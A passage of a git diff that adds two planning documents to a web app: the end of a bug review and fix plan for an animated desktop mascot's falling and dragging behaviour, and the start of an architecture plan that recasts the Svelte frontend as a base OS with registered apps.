Even in the one path that *does* animate (manual drag-release), the fall
|
||||||
|
itself has no attempt at flight:
|
||||||
|
|
||||||
|
- `falling.enter()` in `behavior.ts` hard-sets `rt.vx = 0` — zero horizontal
|
||||||
|
drift, ever.
|
||||||
|
- `fall-flutter`'s animation is just `jump.png` on a loop
|
||||||
|
(`sprites.ts`) — the *name* says flutter, the physics is a monotonic
|
||||||
|
`vy = min(TERMINAL_VY, vy + GRAVITY*dt)` capped fall, no oscillation, no
|
||||||
|
upward impulses.
|
||||||
|
- There's an already-defined, already-loaded `flap` animation
|
||||||
|
(`jump.png` again, distinct `AnimName`) that **no behavior ever
|
||||||
|
references** — it's dead weight in the registry right now.
|
||||||
|
|
||||||
|
This is exactly the "not always fall directly, try to fly a little" ask.
|
||||||
|
|
||||||
|
### Finding 3 (Critical) — no toss/throw momentum on release
|
||||||
|
|
||||||
|
The original plan called for tracking recent pointer deltas during a drag
|
||||||
|
and using them to give the release a real velocity (a toss/arc). The
|
||||||
|
shipped `onPointerUp`/`onPointerMove` in `Mascot.svelte` track no pointer
|
||||||
|
history at all — releasing while moving fast imparts nothing; the mascot
|
||||||
|
just drops straight down from wherever the pointer let go, same as a slow
|
||||||
|
release.
|
||||||
|
|
||||||
|
### Finding 4 (Moderate) — sprite/name/bubble clip off-screen near the top edge
|
||||||
|
|
||||||
|
The mascot's canvas is 20×28 logical px (extra headroom above the sprite
|
||||||
|
for the name label and reaction bubble), positioned bottom-anchored at
|
||||||
|
`runtime.y`. When the ground is near the top of the viewport (e.g.
|
||||||
|
standing on a window whose title bar sits close to `y=0`, which is common
|
||||||
|
for a freshly-opened window), the canvas — and the name label, positioned
|
||||||
|
even further above it — render partially or fully off-screen.
|
||||||
|
Reproduced directly: standing on a window with top=32px clipped the
|
||||||
|
sprite from `y=-52` to `y=32`, more than half invisible above the browser
|
||||||
|
viewport.
|
||||||
|
|
||||||
|
### Finding 5 (Minor) — `interruptsSleep` is defined but never read
|
||||||
|
|
||||||
|
`stimuli.ts`'s `ReactionDef.interruptsSleep` (set `true` only on `alarmed`)
|
||||||
|
documents an intended rule ("sleep is broken only by reactions that opt
|
||||||
|
in"), but nothing in `MascotLayer.svelte`'s dispatch callback or
|
||||||
|
`behavior.ts` ever reads it — every reaction unconditionally calls
|
||||||
|
`forceBehavior(runtime, 'react', ...)` regardless of current behavior.
|
||||||
|
Practically, this also means a reaction can visually interrupt an active
|
||||||
|
**drag** (the sprite briefly shows a reaction animation mid-drag, though
|
||||||
|
position tracking is unaffected since that's driven separately by the
|
||||||
|
pointer handler) — the documented "`dragged` always wins" rule isn't
|
||||||
|
enforced either.
|
||||||
|
|
||||||
|
### Finding 6 (Cosmetic / scope gap) — radial menu isn't round
|
||||||
|
|
||||||
|
The implementing agent deviated from the original "round, Sims-style"
|
||||||
|
requirement to a vertical rounded-button column (documented in the plan's
|
||||||
|
deviation note — the polar ring layout hid labels). It works correctly,
|
||||||
|
including nesting, but it's a direct miss against what was asked for. Worth
|
||||||
|
a deliberate decision: keep the readable column, or revisit a true ring
|
||||||
|
with icon-only buttons + a hover/center text readout.
|
||||||
|
|
||||||
|
### Finding 7 (Minor) — first-hatch naming can be dismissed with no easy way back
|
||||||
|
|
||||||
|
`NameDialog`'s Escape handler always calls `onCancel`, which just closes it
|
||||||
|
— on the very first hatch prompt (no `Cancel` button is shown in `hatch`
|
||||||
|
mode, but Escape still works via the window-level listener), a user who
|
||||||
|
hits Escape is left with an unnamed, un-hatched egg and no obvious way to
|
||||||
|
reopen the dialog short of reloading or finding the Debug → Force hatch
|
||||||
|
menu action.
|
||||||
|
|
||||||
|
## Improvement plan
|
||||||
|
|
||||||
|
Ordered by priority; 1–3 directly address the user's stated complaints.
|
||||||
|
|
||||||
|
### P0 — Fix the ground-detection/teleport bug (Finding 1)
|
||||||
|
|
||||||
|
1. Change `computeGroundAt(x)` to only consider a window a ground candidate
|
||||||
|
if its top edge is **at or below** the mascot's current `y` (plus a
|
||||||
|
small tolerance for the "about to land on it" case) — i.e. the nearest
|
||||||
|
surface *underneath*, not the global topmost overlapping window.
|
||||||
|
2. Replace the unconditional `tick()`-level position snap with a threshold
|
||||||
|
check: deltas under ~4px/tick (a window being smoothly dragged with the
|
||||||
|
mascot riding it) still translate instantly; anything larger routes
|
||||||
|
through `forceBehavior(rt, 'falling')` (ground dropped) or a new short
|
||||||
|
`rising` behavior (ground rose — a quick hop/flutter-up, not a snap).
|
||||||
|
3. This also fixes the FSM's existing (currently unreachable) `wander`/`idle`
|
||||||
|
fall-detection — once the snap isn't preempting it, that code path
|
||||||
|
should work as originally intended.
|
||||||
|
|
||||||
|
### P1 — Make falling actually look like an attempt at flight (Findings 2 & 3)
|
||||||
|
|
||||||
|
4. Wire the unused `flap` animation into `falling`: instead of one
|
||||||
|
continuous `fall-flutter` loop, alternate short `flap` bursts (each
|
||||||
|
burst applies a brief small negative `vy` impulse — a wing-beat that
|
||||||
|
measurably slows the descent for a few frames) with `fall-flutter` glide
|
||||||
|
segments. Net effect: still descends, but in a scalloped, fluttering
|
||||||
|
arc rather than a flat monotonic line — reads as "trying to fly, not
|
||||||
|
quite making it" rather than "dropped like a rock."
|
||||||
|
5. Add a small horizontal drift during `falling` (e.g. a slow sine wobble
|
||||||
|
or a fraction of the pre-release pointer velocity — see next point) so
|
||||||
|
the fall isn't perfectly vertical either.
|
||||||
|
6. Track a short rolling history of pointer positions during `dragged`
|
||||||
|
(last ~100ms of `onPointerMove` samples is enough) and derive a release
|
||||||
|
velocity from it in `onPointerUp`; feed that into `falling`'s initial
|
||||||
|
`vx`/`vy` instead of hard-zeroing them, so a fast toss actually arcs.
|
||||||
|
|
||||||
|
### P2 — Cosmetic/correctness cleanups (Findings 4, 5, 7)
|
||||||
|
|
||||||
|
7. Clamp the sprite's screen-space draw position (or reserve top margin on
|
||||||
|
the surface) so the canvas/name/bubble never render above `y=0`,
|
||||||
|
independent of where the logical ground sits.
|
||||||
|
8. Either wire `interruptsSleep`/a drag-guard into the reaction dispatch
|
||||||
|
path in `MascotLayer.svelte` (skip forcing `react` while
|
||||||
|
`runtime.behavior === 'dragged'`, and gate sleep-interruption on the
|
||||||
|
flag as documented), or remove the field if the current
|
||||||
|
always-interrupts behavior is actually preferred — right now it's an
|
||||||
|
unenforced contract, which is worse than either explicit choice.
|
||||||
|
9. On first hatch, prevent the naming dialog from being fully dismissed
|
||||||
|
without a name (or make it trivially reopenable — e.g. clicking the
|
||||||
|
still-unnamed egg reopens it) rather than requiring a reload/debug
|
||||||
|
menu to recover.
|
||||||
|
|
||||||
|
### P3 — Ideas worth considering ("cool stuff")
|
||||||
|
|
||||||
|
Not committed, listed for discussion:
|
||||||
|
|
||||||
|
- **Investigate badges**: have the mascot occasionally walk toward a
|
||||||
|
desktop icon that currently has an unread badge (Signals, Operations)
|
||||||
|
and peck at it curiously — a very literal, delightful expression of
|
||||||
|
"aware of its environment" using icon positions already in
|
||||||
|
`stores/icons.ts`.
|
||||||
|
- **Startle-and-flee on alarm**: instead of a static `react-alarm` frame,
|
||||||
|
have the `alarmed` reaction actually scurry the mascot a short distance
|
||||||
|
(reuse `wander`-style motion) before settling, more visceral than a
|
||||||
|
still reaction sprite.
|
||||||
|
- **A "home" spot**: remember a preferred idle location (e.g. near its
|
||||||
|
hatch point or a favorite window) and occasionally wander back to it,
|
||||||
|
giving its roaming a sense of place rather than pure randomness.
|
||||||
|
- **True round radial menu v2**: revisit Finding 6 with icon-only buttons
|
||||||
|
on an actual ring and a text label in a tooltip/center readout on
|
||||||
|
hover/focus — closer to the original ask while keeping labels legible
|
||||||
|
(the problem the first attempt hit).
|
||||||
|
- **Distinct adult sprite** (already flagged as deferred polish in the
|
||||||
|
original plan's deviation note) — currently chick and adult share art.
|
||||||
|
|
||||||
|
## Verification (once fixed)
|
||||||
|
|
||||||
|
- Re-run this document's two instrumented tests (drag-onto-window-then-close;
|
||||||
|
open-window-over-grounded-mascot) and confirm the position samples show a
|
||||||
|
smooth multi-frame transition instead of a single-tick jump.
|
||||||
|
- Manually: drag the mascot up and release with a fast flick — confirm it
|
||||||
|
arcs/drifts rather than dropping straight down, and that `flap` frames
|
||||||
|
visibly appear during the descent.
|
||||||
|
- Stand the mascot on a window, drag that window so its title bar approaches
|
||||||
|
`y=0` — confirm the sprite/name/bubble stay on-screen.
|
||||||
|
- Trigger a reaction (e.g. force an `eureka`) while mid-drag — confirm the
|
||||||
|
sprite keeps showing the `dragged` animation, not the reaction, until
|
||||||
|
released (if Finding 5 is fixed by enforcing the guard).
|
||||||
|
- `npm run build` stays clean.
|
||||||
647
plans/2026-07-21-frontend-os-apps-architecture.md
Normal file
647
plans/2026-07-21-frontend-os-apps-architecture.md
Normal file
@@ -0,0 +1,647 @@
|
|||||||
|
# Frontend as OS + Apps: architecture audit & refactor plan
|
||||||
|
|
||||||
|
> **Status:** Planned
|
||||||
|
> **Stakeholders:** Operator, Nomos
|
||||||
|
> **Confidence:** Verified (direct code audit against `web/src/` as of 2026-07-21)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The Oikos frontend is already built on an implicit OS + Apps metaphor — a
|
||||||
|
desktop surface, floating windows, a taskbar, and a registry of
|
||||||
|
independently-rendered apps. This plan makes that metaphor **explicit**,
|
||||||
|
strengthens the contracts between Base OS and Apps, refactors the mascot
|
||||||
|
into a proper App, and lays out the extensibility path for dynamic app
|
||||||
|
installation without touching shell code.
|
||||||
|
|
||||||
|
The current codebase is remarkably close. The audit found one structural
|
||||||
|
gap (mascot is hardcoded into the shell, not a registry App) and three
|
||||||
|
contract weaknesses (positional content resolution, icon store assumes a
|
||||||
|
static registry, no stable OS-service contract for Apps). Fixing them
|
||||||
|
requires no architectural rewrite — the bones are correct.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Audit: what we have today
|
||||||
|
|
||||||
|
### 1.1 The implicit OS layer (exists, undocumented)
|
||||||
|
|
||||||
|
| Service | File | Role |
|
||||||
|
|---------|------|------|
|
||||||
|
| **Window Manager** | `lib/stores/windows.ts:19-31` | wmkit manager + desktop + persist. Single-instance, global. |
|
||||||
|
| **Desktop Surface** | `components/desktop-shell/Desktop.svelte` | Full-viewport shell: background, icons, launcher, windows, mascot, taskbar. |
|
||||||
|
| **Window Layer** | `components/desktop-shell/WindowLayer.svelte` | Content resolver: maps window ID → component. z-40. |
|
||||||
|
| **Taskbar** | `components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`. |
|
||||||
|
| **Icon Grid** | `lib/stores/icons.ts` | Column/row grid, drag-to-reorder, localStorage persistence. |
|
||||||
|
| **Task Launcher** | `components/desktop-shell/TaskLauncher.svelte` | Centered text input → new task window. |
|
||||||
|
| **Auth Gate** | `App.svelte` | Config screen vs. Desktop. Token check, OIDC init, context/SSE subscribe. |
|
||||||
|
| **Session Windows** | `components/SessionChatWindow.svelte` | Per-session chat window, splitpanes layout. |
|
||||||
|
| **New Task Window** | `components/desktop-shell/NewTaskChat.svelte` | Singleton compose window. |
|
||||||
|
| **Entity Windows** | `components/EntityDetailContent.svelte` | Entity detail (bare slug window IDs). |
|
||||||
|
| **Legacy Hash Routes** | `App.svelte:17-39` | Backward compat for old `#/kb`, `#/entity/<slug>` bookmarks. |
|
||||||
|
|
||||||
|
The shell has **no hardcoded app list** — `Desktop.svelte:90` reads `APPS`
|
||||||
|
from the registry, `WindowLayer.svelte:36-37` resolves app windows through
|
||||||
|
`appById`, `Taskbar.svelte:32` resolves icons the same way. Adding an app
|
||||||
|
is one entry in `apps.ts`.
|
||||||
|
|
||||||
|
### 1.2 The App Registry (exists, nearly complete)
|
||||||
|
|
||||||
|
**File:** `lib/apps.ts` (130 lines)
|
||||||
|
**Interface:** `AppDef` — id, title, icon (Lucide Component), component
|
||||||
|
(Svelte Component), width, height, minWidth, minHeight, optional badge
|
||||||
|
function.
|
||||||
|
**Window namespacing:** `app:<id>` (`apps.ts:122`) — distinct from
|
||||||
|
`session:<id>`, `new-task`, and bare entity slugs.
|
||||||
|
|
||||||
|
**Current apps (7):**
|
||||||
|
|
||||||
|
| ID | Page Component | Badge? |
|
||||||
|
|----|---------------|--------|
|
||||||
|
| `tasks` | `pages/Overview.svelte` | — |
|
||||||
|
| `kb` | `pages/KnowledgeBase.svelte` | — |
|
||||||
|
| `ops` | `pages/Ops.svelte` | approvals_pending |
|
||||||
|
| `signals` | `pages/Signals.svelte` | open signal count |
|
||||||
|
| `knowledge` | `pages/Knowledge.svelte` | — |
|
||||||
|
| `learning` | `pages/Learning.svelte` | — |
|
||||||
|
| `settings` | `pages/Settings.svelte` | — |
|
||||||
|
|
||||||
|
**What works:**
|
||||||
|
|
||||||
|
- Data-driven. One array → three surfaces auto-render.
|
||||||
|
- Namespaced window IDs prevent collisions with session/entity windows.
|
||||||
|
- Single-instance enforcement (double-click focuses, never duplicates).
|
||||||
|
- Badge system: pure function over `DashboardSummary`, consumed by icon +
|
||||||
|
taskbar.
|
||||||
|
- Tested (`apps.test.ts`): unique IDs, positive sizes, `appById` index,
|
||||||
|
round-trips.
|
||||||
|
- Orphan cleanup: `WindowLayer.svelte:25-30` closes persisted windows whose
|
||||||
|
app was removed from the registry.
|
||||||
|
|
||||||
|
**What's missing from the AppDef contract:**
|
||||||
|
|
||||||
|
1. **No stable OS-service surface.** Apps reach into the OS by importing
|
||||||
|
arbitrary `$lib` modules (`openEntityWindow` from `windows.ts`,
|
||||||
|
`summary` from `context.ts`). It works because apps are compiled in, but
|
||||||
|
there is no documented boundary between "stable OS API an App may use"
|
||||||
|
and "shell internals that happen to be exported." Phase 3 (installed
|
||||||
|
third-party apps) needs that boundary to exist first.
|
||||||
|
2. **No docked/overlay app kind.** An app that renders *on* the desktop
|
||||||
|
(above windows, no titlebar, no window at all) has no representation in
|
||||||
|
the contract — which is exactly why the mascot is hardcoded.
|
||||||
|
|
||||||
|
### 1.3 The Mascot: embedded, not an app
|
||||||
|
|
||||||
|
**Files:** `lib/mascot/` (12 files, ~2.8k lines)
|
||||||
|
**Integration:** `Desktop.svelte:105` — hardcoded `<MascotLayer />` at z-45,
|
||||||
|
after WindowLayer and before Taskbar.
|
||||||
|
|
||||||
|
**Key facts that shape the refactor (verified):**
|
||||||
|
|
||||||
|
- `MascotLayer.svelte` takes **no props**. It creates the `MascotRuntime`
|
||||||
|
per mount, seeds position from the persisted model, and attaches the
|
||||||
|
stimulus bus itself (`MascotLayer.svelte:38-61`, comment at line 6-7).
|
||||||
|
- The persistent model (stage, name, happiness, xp, **lastPos**) is
|
||||||
|
module-scoped in `state.svelte.ts` and survives unmount/remount.
|
||||||
|
- The sprite `Image` cache is module-scoped in `sprites.ts` — remounts do
|
||||||
|
not re-fetch the 19 PNG sheets.
|
||||||
|
- The stimulus bus subscribes to global stores (`focusedSessionId` from
|
||||||
|
`windows.ts`, per-session factories from `chat.ts`/`workspace.ts`) — no
|
||||||
|
dependency on how MascotLayer is mounted.
|
||||||
|
|
||||||
|
**Consequence:** hiding the mascot = `{#if visible}<MascotLayer />{/if}`.
|
||||||
|
State, sprites, and position all restore naturally. No `keepAlive`
|
||||||
|
machinery is needed.
|
||||||
|
|
||||||
|
### 1.4 Three contract weaknesses
|
||||||
|
|
||||||
|
#### Weakness 1: Positional content resolution
|
||||||
|
|
||||||
|
`WindowLayer.svelte:70-79` resolves content by checking ID patterns in a
|
||||||
|
hardcoded order:
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
{#if id.startsWith(SESSION_PREFIX)}
|
||||||
|
<SessionChatWindow ... />
|
||||||
|
{:else if id === NEW_TASK_WINDOW_ID}
|
||||||
|
<NewTaskChat />
|
||||||
|
{:else if app}
|
||||||
|
<app.component />
|
||||||
|
{:else}
|
||||||
|
<EntityDetailContent ... />
|
||||||
|
{/if}
|
||||||
|
```
|
||||||
|
|
||||||
|
A new window category must be inserted at the right position in this chain.
|
||||||
|
Works today because prefixes are mutually exclusive by construction, but
|
||||||
|
it's a landmine: add `'lxc:'` container consoles or `'log:'` viewers and
|
||||||
|
you're editing shell internals.
|
||||||
|
|
||||||
|
#### Weakness 2: Icon store snapshots the registry at module load
|
||||||
|
|
||||||
|
`icons.ts:23` builds default positions from `APPS`, and `icons.ts:48`
|
||||||
|
freezes an `appIds` set used to filter persisted positions in `load()`.
|
||||||
|
Both evaluate **once at import time**. A late-registering app (lazy load,
|
||||||
|
Phase 2+) would have its persisted position silently dropped by the
|
||||||
|
`load()` filter — the merge-over-defaults logic only helps apps that were
|
||||||
|
already in `APPS` when the module first evaluated.
|
||||||
|
|
||||||
|
#### Weakness 3: Window chrome is fully shell-owned, with no extension point
|
||||||
|
|
||||||
|
Every window gets the same titlebar (`WindowLayer.svelte:40-67`): drag
|
||||||
|
handle, title, minimize/maximize/close. Correct default — apps should not
|
||||||
|
draw their own chrome — but there is no sanctioned way for an app to
|
||||||
|
contribute a titlebar affordance (e.g. Tasks might want an inline "New
|
||||||
|
task" button). **Decision: document as a designed extension point, defer
|
||||||
|
implementation until an app actually needs it** (see §2.5). Not a Phase 1
|
||||||
|
deliverable.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. The OS + Apps model
|
||||||
|
|
||||||
|
### 2.1 Metaphor
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────────────────────────────────────────────┐
|
||||||
|
│ Auth Gate (App.svelte) │
|
||||||
|
│ ┌──────────────────────────────────────────────┐│
|
||||||
|
│ │ Desktop Surface ││
|
||||||
|
│ │ ┌─────────────┐ ┌─────────────┐ ││
|
||||||
|
│ │ │ App Window │ │ App Window │ z-40 ││
|
||||||
|
│ │ │ (Tasks) │ │ (Signals) │ ││
|
||||||
|
│ │ └─────────────┘ └─────────────┘ ││
|
||||||
|
│ │ ┌──────────────────────┐ ││
|
||||||
|
│ │ │ Docked Apps (Cluck) │ z-45, no chrome ││
|
||||||
|
│ │ └──────────────────────┘ ││
|
||||||
|
│ │ ┌──────┐ ┌──────┐ ┌──────┐ z-0 ││
|
||||||
|
│ │ │ Icon │ │ Icon │ │ Icon │ ││
|
||||||
|
│ │ └──────┘ └──────┘ └──────┘ ││
|
||||||
|
│ └──────────────────────────────────────────────┘│
|
||||||
|
│ ┌──────────────────────────────────────────────┐│
|
||||||
|
│ │ Taskbar [Tasks] [Signals] 🎨 ⚙ v0.9 ││
|
||||||
|
│ └──────────────────────────────────────────────┘│
|
||||||
|
└──────────────────────────────────────────────────┘
|
||||||
|
|
||||||
|
Base OS = Auth Gate + Desktop Surface + Window Manager + Taskbar
|
||||||
|
+ Icon Grid + Docked Layer + OS-service surface
|
||||||
|
Apps = Tasks, KB, Ops, Signals, Knowledge, Learning, Settings, Cluck
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.2 App kinds
|
||||||
|
|
||||||
|
Two kinds, distinguished by one flag:
|
||||||
|
|
||||||
|
| Kind | Window | Titlebar | Taskbar button | Opened by |
|
||||||
|
|------|--------|----------|----------------|-----------|
|
||||||
|
| **Windowed** (default) | wmkit floating window | Yes | Yes (automatic) | `openAppWindow(id)` → `wm.open()` |
|
||||||
|
| **Docked** (`docked: true`) | None — renders on the Docked Layer | No | No | `openAppWindow(id)` → toggles visibility |
|
||||||
|
|
||||||
|
Docked apps are **not** wmkit citizens. They render in a dedicated layer
|
||||||
|
above the window layer, their visibility is a persisted boolean, and
|
||||||
|
clicking their desktop icon toggles show/hide. They never appear in the
|
||||||
|
taskbar because they never enter `wmState.order`.
|
||||||
|
|
||||||
|
### 2.3 The App contract
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
interface AppDef {
|
||||||
|
// Identity (required)
|
||||||
|
id: string // unique; window IDs are "app:<id>"
|
||||||
|
title: string // desktop icon label + window titlebar
|
||||||
|
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||||
|
component: Component // Svelte component; receives NO props
|
||||||
|
|
||||||
|
// Kind
|
||||||
|
docked?: boolean // true = Docked Layer app, no window (default false)
|
||||||
|
|
||||||
|
// Window geometry — required for windowed apps, forbidden for docked apps
|
||||||
|
width?: number
|
||||||
|
height?: number
|
||||||
|
minWidth?: number
|
||||||
|
minHeight?: number
|
||||||
|
|
||||||
|
// Behavior (all optional)
|
||||||
|
badge?: (summary: DashboardSummary | null) => number
|
||||||
|
noIcon?: boolean // true = registered but no desktop icon
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Validation rules** (enforced by `apps.test.ts`, not runtime checks):
|
||||||
|
|
||||||
|
- `id` unique, non-empty.
|
||||||
|
- Windowed apps: `width`/`height` present and positive.
|
||||||
|
- Docked apps: `width`/`height` absent (geometry is meaningless without a
|
||||||
|
window).
|
||||||
|
- Every app has an icon component (even `noIcon` apps — the taskbar and
|
||||||
|
future surfaces need it).
|
||||||
|
|
||||||
|
**Design decisions, and why:**
|
||||||
|
|
||||||
|
- **No `keepAlive`.** Module-scoped state (mascot model, sprite cache)
|
||||||
|
already survives unmount. If a future app needs close-to-hide semantics,
|
||||||
|
that's a wmkit feature request, not an AppDef field.
|
||||||
|
- **No `noTaskbar`.** Docked apps never reach the taskbar; windowed apps
|
||||||
|
always should. A windowed app with no taskbar button is an orphan the
|
||||||
|
operator can't find.
|
||||||
|
- **No lifecycle hooks in the contract.** Svelte's own `onMount`/`onDestroy`
|
||||||
|
already fire on window open/close. A shell-level `onRegister` is only
|
||||||
|
meaningful once apps register dynamically — deferred to Phase 3, where
|
||||||
|
it becomes the permission handshake.
|
||||||
|
- **Apps receive no props.** The component is the app. It imports OS
|
||||||
|
services (§2.4) directly. This keeps the shell→app edge one-way and
|
||||||
|
trivially mockable.
|
||||||
|
|
||||||
|
### 2.4 The OS-service surface (AppOS)
|
||||||
|
|
||||||
|
The stable set of `$lib` exports an App may import. Everything else in
|
||||||
|
`$lib` is shell-internal and may change without notice. This is a
|
||||||
|
**documentation contract** today (apps are compiled in); it becomes an
|
||||||
|
**enforced sandbox boundary** in Phase 3.
|
||||||
|
|
||||||
|
| Service | Import | Stability |
|
||||||
|
|---------|--------|-----------|
|
||||||
|
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` | Stable |
|
||||||
|
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` | Stable |
|
||||||
|
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` | Stable |
|
||||||
|
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` | Stable |
|
||||||
|
| Live events | `subscribeEvents` from `$lib/stores/events` | Stable |
|
||||||
|
| Per-session chat | `chatFor(sessionId)` from `$lib/stores/chat` | Stable |
|
||||||
|
| Per-session workspace | `workspaceFor(sessionId)` from `$lib/stores/workspace` | Stable |
|
||||||
|
| REST API | `$lib/api` functions | Stable (generated from OpenAPI) |
|
||||||
|
| UI primitives | `$lib/components/ui/*` | Stable |
|
||||||
|
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` | Stable |
|
||||||
|
|
||||||
|
### 2.5 Content resolution — fixed
|
||||||
|
|
||||||
|
Replace the positional `if/else` chain with a prefix → component map owned
|
||||||
|
by the shell:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// WindowLayer.svelte — one map, dispatch by prefix. New window kinds
|
||||||
|
// register here, not in an if/else chain.
|
||||||
|
const CONTENT_RESOLVERS: Array<[prefix: string, resolve: (id: string) => Component | null]> = [
|
||||||
|
['session:', () => SessionChatWindow],
|
||||||
|
['app:', (id) => appById.get(id.slice(4))?.component ?? null],
|
||||||
|
]
|
||||||
|
|
||||||
|
function resolveContent(id: string): Component | null {
|
||||||
|
if (id === NEW_TASK_WINDOW_ID) return NewTaskChat
|
||||||
|
for (const [prefix, resolve] of CONTENT_RESOLVERS) {
|
||||||
|
if (id.startsWith(prefix)) return resolve(id)
|
||||||
|
}
|
||||||
|
return EntityDetailContent // bare entity slug fallback
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Adding a `'lxc:'` console window kind later = one array entry. The
|
||||||
|
existing orphan-close effect (`WindowLayer.svelte:25-30`) is kept as-is;
|
||||||
|
Phase 2 must gate it on registry-ready (§5).
|
||||||
|
|
||||||
|
### 2.6 Designed extension points (documented, not built)
|
||||||
|
|
||||||
|
| Extension | Mechanism when built | Trigger |
|
||||||
|
|-----------|---------------------|---------|
|
||||||
|
| Titlebar actions | `titlebarActions?: Component` on AppDef, rendered left of min/max/close | First app that needs one |
|
||||||
|
| App-scoped state | `state?: () => Record<string, unknown>` on AppDef | First app with cross-mount state that isn't module-scoped |
|
||||||
|
| `onRegister` handshake | Called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||||
|
|
||||||
|
Documenting these now prevents the Phase 1 contract from painting itself
|
||||||
|
into a corner; building them now would be speculative.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. The mascot as an App
|
||||||
|
|
||||||
|
### 3.1 Registration
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
{
|
||||||
|
id: 'mascot',
|
||||||
|
title: 'Cluck',
|
||||||
|
icon: EggIcon, // Lucide egg (chick/adult swap is a future nicety)
|
||||||
|
component: MascotLayer,
|
||||||
|
docked: true,
|
||||||
|
// no width/height — docked
|
||||||
|
// no badge — a permanent "1" is noise, not information
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 The docked-visibility store (new)
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// lib/stores/docked.ts
|
||||||
|
// Visibility for docked apps — persisted, so "hidden" survives reloads.
|
||||||
|
// Keyed by app id; absent key = visible (default-on for new docked apps).
|
||||||
|
export const dockedVisibility: Readable<Record<string, boolean>>
|
||||||
|
export function toggleDocked(appId: string): void
|
||||||
|
export function isDockedVisible(appId: string): boolean
|
||||||
|
```
|
||||||
|
|
||||||
|
- localStorage key: `oikos-docked-apps`
|
||||||
|
- Default: visible (a fresh install shows the mascot; hiding is opt-out)
|
||||||
|
- Merge semantics mirror `icons.ts`: unknown persisted keys are kept (an
|
||||||
|
uninstalled docked app that gets reinstalled remembers its state)
|
||||||
|
|
||||||
|
### 3.3 Shell changes
|
||||||
|
|
||||||
|
**`windows.ts` — `openAppWindow` branches on kind:**
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export function openAppWindow(appId: string): void {
|
||||||
|
const app = appById.get(appId)
|
||||||
|
if (!app) return
|
||||||
|
if (app.docked) { toggleDocked(appId); return } // ← the branch the first draft missed
|
||||||
|
// ... existing wm.open path unchanged
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
This is the load-bearing detail: the icon click in `Desktop.svelte:93`
|
||||||
|
calls `openAppWindow(app.id)` for every app uniformly. Branching **inside**
|
||||||
|
`openAppWindow` means Desktop.svelte, legacy hash resolution, and any
|
||||||
|
future caller need no special cases.
|
||||||
|
|
||||||
|
**`Desktop.svelte` — replace hardcoded `<MascotLayer />` with:**
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
<DockedLayer />
|
||||||
|
```
|
||||||
|
|
||||||
|
**`components/desktop-shell/DockedLayer.svelte` — new, ~30 lines:**
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
{#each APPS.filter(a => a.docked) as app (app.id)}
|
||||||
|
{#if $dockedVisibility[app.id] ?? true}
|
||||||
|
<app.component />
|
||||||
|
{/if}
|
||||||
|
{/each}
|
||||||
|
```
|
||||||
|
|
||||||
|
Rendered after `<WindowLayer />` inside the surface div, so docked apps
|
||||||
|
share the surface's coordinate space (the mascot's ground-line computation
|
||||||
|
depends on this — `MascotLayer.svelte:9-13`).
|
||||||
|
|
||||||
|
**`MascotLayer.svelte` — zero changes.** No props today, no props after.
|
||||||
|
|
||||||
|
### 3.4 What the mascot gains
|
||||||
|
|
||||||
|
| Feature | Before | After |
|
||||||
|
|---------|--------|-------|
|
||||||
|
| Registry entry | None — hardcoded in shell | First-class AppDef |
|
||||||
|
| Show/hide | Impossible — always mounted | Icon click toggles; persists across reloads |
|
||||||
|
| Shell coupling | `Desktop.svelte` imports mascot internals | Shell knows only `AppDef` |
|
||||||
|
| Precedent for overlay apps | None | Any `docked: true` app (clock, net monitor) uses the same path |
|
||||||
|
|
||||||
|
### 3.5 What the mascot does *not* gain (deliberately)
|
||||||
|
|
||||||
|
- **No taskbar button.** No window → no taskbar entry. The desktop icon is
|
||||||
|
the control.
|
||||||
|
- **No window chrome.** It's a desktop creature, not a document.
|
||||||
|
- **No settings panel in v1.** Hatch/rename/pet/feed stay in the existing
|
||||||
|
radial menu. A mascot *settings* surface (volume, behavior toggles) would
|
||||||
|
be a separate windowed app later — noted as a follow-up idea, not
|
||||||
|
planned.
|
||||||
|
|
||||||
|
### 3.6 UX risk: "where did my chicken go?"
|
||||||
|
|
||||||
|
Hidden state persists across reloads. Mitigation: the desktop icon is
|
||||||
|
always present and is the obvious toggle; the icon's tooltip reads
|
||||||
|
"Cluck — click to show/hide". Acceptable.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Current apps — conformance audit
|
||||||
|
|
||||||
|
| App | Conforms? | Notes |
|
||||||
|
|-----|-----------|-------|
|
||||||
|
| **Tasks** (`Overview.svelte`) | ✅ Full | Self-contained. Opens session windows via `openTaskWindow`. |
|
||||||
|
| **Knowledge Base** (`KnowledgeBase.svelte`) | ✅ Full | Opens entity windows via `openEntityWindow`. |
|
||||||
|
| **Operations** (`Ops.svelte`) | ✅ Full | Badge reads `summary`. |
|
||||||
|
| **Signals** (`Signals.svelte`) | ✅ Full | Opens entity windows. |
|
||||||
|
| **Knowledge** (`Knowledge.svelte`) | ✅ Full | — |
|
||||||
|
| **Learning** (`Learning.svelte`) | ✅ Full | — |
|
||||||
